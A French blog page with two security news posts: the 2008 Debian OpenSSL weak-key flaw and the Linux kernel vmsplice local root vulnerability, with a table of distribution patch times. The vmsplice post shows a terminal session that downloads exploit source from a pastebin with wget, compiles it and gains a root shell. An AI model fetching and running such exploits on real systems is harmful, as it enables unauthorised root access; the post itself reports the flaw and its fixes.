« Chosen by fair dice roll. Guaranteed to be random. »

Il y a quelques jours, la révélation d’une faille de sécurité critique concernant le paquet openssl de Debian (et dérivés) a jeté un froid sur la banquise linuxienne. Un mainteneur Debian, qui pensait corriger des avertissements signalés par le logiciel Valgrind, a un peu modifié la partie du code concernant la génération des nombres pseudo-aléatoires. Le hic, c’est qu’après la manip, les nombres n’étaient pas ce qu’on peut qualifier d’aléatoires. Or c’est bien d’un système proche de l’aléatoire que l’on a besoin pour la génération de clés ; la modification du code a entraîné une énorme restrictions des clés possibles (seulement 250 000 clés possibles, selon linuxfr). Autre point étonnant, la faille existe depuis 2006, donc toutes les clés et les certificats générés sur la distribution Debian ou ses dérivés (Ubuntu, pour ne citer qu’elle) depuis cette date ne sont pas sûrs ! Il ne suffit pas de mettre à jour le paquet openssl (le correctif a d’ailleurs été très rapidement disponible), il faut changer les clés. C’est là que la faille est vicieuse (et sort de l’ordinaire) : la mise à jour ne suffit pas.

→ Il faut remplacer les clés RSA générées avec la version d’openssh non sûre et les clés DSA utilisées avec un système Debian ou dérivé qui utilisait la version incriminée (même si j’espère que c’est déjà fait, vu mon temps de réaction ;) ).

Le trou de sécurité a été révélé le 13 mai, et il ne cesse de faire parler de lui dans les forums, sur les blogs, et dans les listes de diffusions. Il y a une raison à cela ; la faille (qui a vécu 2 ans !) est extrêmement grave, elle met directement en péril la sécurité d’une distribution réputée qui équipe bon nombre de serveurs. De plus, la mise à jour ne suffit pas à la combler. C’est une affaire bien sombre qui a secoué la blogosphère libre ces derniers jours, mais qui n’empêche pas de rigoler : terminons ce billet sur une note d’humour, mieux vaut en rire qu’en pleurer !

debian-entropie
security_holes
dilbert

Faille dans le noyau Linux.

Une importante faille de sécurité à été découverte dans le noyau Linux, le vendredi 8 février. Elle permet à un simple utilisateur d’obtenir les privilèges root en exploitant l’appel système splice(). Cette faille concerne les versions 2.6.17 à 2.6.24.1 du noyau.

La faille

L’appel systèmes vmsplice() a été introduit dans la version 2.6.17 du noyau, il permet d’échanger des données entre deux descripteurs de fichiers. La faille provient de l’absence de vérification des paramètres envoyés aux fonctions vmsplice_to_user(), copy_from_user_mmap_sem() et get_iovec_page_array() de fs/splice.c.

Cette faille permet à un utilisateur local d’obtenir les privilèges root, comme le montre ce proof of concept :

nicoz@ForteresseDigitale:~$ wget http://paste.ubuntu-nl.org/55587/plain/ -O vmsplice_exploit.c
--13:58:10-- http://paste.ubuntu-nl.org/55587/plain/
=> `vmsplice_exploit.c'
Résolution de paste.ubuntu-nl.org... 81.171.100.21
Connexion vers paste.ubuntu-nl.org|81.171.100.21|:80... connecté.
requête HTTP transmise, en attente de la réponse... 200 OK
Longueur: non spécifié [text/plain]

[ <=> ] 7 336 --.--K/s

13:58:10 (61.63 KB/s) - « vmsplice_exploit.c » sauvegardé [7336]

nicoz@ForteresseDigitale:~$ gcc -o vmsplice_exploit vmsplice_exploit.c
nicoz@ForteresseDigitale:~$ ./vmsplice_exploit
-----------------------------------
Linux vmsplice Local Root Exploit
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e13000 .. 0xb7e45000
[+] root
root@ForteresseDigitale:~#

Réactions

La version 2.6.24.2, qui corrige cette faille, a été publiée le dimanche 10 février. La première distribution Linux à fixer ce bug a été Debian, le 11 février à 13H58. DistroWatch propose un tableau récapitulant le temps de réaction des distributions ;

Distribution Date / Heure Délais Référence
Debian GNU/Linux 11-02-2008 13:58 +0 heure DSA 1494-1
Fedora 11-02-2008 22:39 +8 heures FEDORA-2008-1423
Slackware Linux 12-02-2008 02:00 +12 heures SSA:2008-042-01
Mandriva Linux 12-02-2008 07:06 +19 heures MDVSA-2008:043
Frugalware Linux 12-02-2008 11:17 +21 heures FSA-369
openSUSE 12-02-2008 12:43 +23 heures SUSE-SA:2008:007
rPath Linux 12-02-2008 16:28 +26 heures rPSA-2008-0052-1
Red Hat Enterprise Linux 12-02-2008 16:54 +27 heures RHSA-2008:0129-01
Ubuntu 12-02-2008 17:23 +27 heures USN-577-1
CentOS 13-02-2008 03:27 +37 heures CESA-2008:012

On remarque que la correction du bug a été rapide, à la hauteur du danger que représentait cette faille.

Pour en savoir plus ;